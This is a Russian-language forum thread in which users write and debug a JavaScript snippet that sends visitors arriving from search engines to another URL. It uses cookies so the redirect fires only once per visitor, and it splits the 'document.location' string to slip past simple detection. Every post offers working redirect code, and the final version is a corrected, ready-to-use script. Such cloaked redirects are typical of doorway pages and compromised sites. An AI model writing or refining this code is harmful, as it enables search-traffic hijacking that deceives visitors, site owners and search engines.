Привет, друзья. Есть скрипт редерикта с поисковиков, помогите допилить, чтобы: на неуников редерикт не срабатывал. незнаю там фильтрация по айпи или еще что. Спасибо. Code: function R(){var Ref=document.referrer;if(Ref.indexOf('.google.')!= -1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1){document.write('<script language="javascript">docu'+'ment.location=" урл куда отправляем "</s'+'cript>')}else{document.write('.')}}R();
Code: var cookie = { get: function (name) { var matches = document.cookie.match(/[\w-]+=.*?(?:$|;)/g), cookie = {}; for (var i = 0; i < matches.length; i++) { var params = matches[i].split('='); cookie[params[0]] = params[1].substr(0, params[1].length-1); } if (name) { return cookie[name]; } return cookie; }, set: function (name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + ( new Date(new Date().getTime() + expires*1000) ) : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : ""); } }; function R() { var Ref = document.referrer; if (Ref.indexOf('.google.')!=-1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1||!cookie.get('visited')) { cookie.set('visited', 1, 86400); //86400 - время жизни куки в секундах, если надо на время сессии, то убрать вообще. document.write('<script language="javascript">docu'+'ment.location=" урл куда отправляем "</s'+'cript>') } else { document.write('.') } } R(); Собсна как выше посоветовали. Нужные комменты в коде. Зы. лень было писать сохранение кук, поэтому нагло стырено. Зыы. из-за размера скрипта - лучше его вынести в отдельный файл наверное.
потестил твой скрипт на гугле, чего-то не работает. второй раз захожу все равно редерикт срабатывает. странно.
Попробовал данный скрипт,редиректит с поисковиков второй третий десятый также редиректит,даже при обычной вставке ссылки в браузер редиректит,у кого есть норм рабочий скрипт для редиректа с поисковиков чтоб редиректилось только один раз тоесть куки.Выложите пожалуйста.
Да, взял я чей-то ебанутокривой код работы с куками, допили. Должно работать именно для твоей ситуации. Если человек с поисковика, то идёт проверка посещал ли он сайт, если посещал, то не редиректим. Code: var cookie = { get: function (name) { var matches = document.cookie.match(/[\w-]+=.*?(?:$|;)/g), cookie = {}; if (!matches && name) { return undefined; } var params; for (var i = 0; i < matches.length; i++) { params = matches[i].split('='); cookie[params[0]] = params[1].replace(/;$/); } if (name) { return cookie[name]; } return cookie; }, set: function (name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + ( new Date(new Date().getTime() + expires*1000) ) : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : ""); } }; function R() { var refs = ['.google.', '.bing.', '.yahoo.', '.aol.', '.ask.', '.altavista.', '.yandex.'], ref = document.referrer, fromSearcher = false, visited = cookie.get('visited'); for (var i = 0; i < refs.length; i++) { if ( ref.indexOf(refs[i]) >= 0 ) { fromSearcher = true; } } if (fromSearcher) { cookie.set('visited', 1, 86400); //86400 - время жизни куки в секундах, если надо на время сессии, то убрать вообще. if (!visited) { document.write('<script language="javascript">docu'+'ment.location=" урл куда отправляем "</s'+'cript>') } } } R();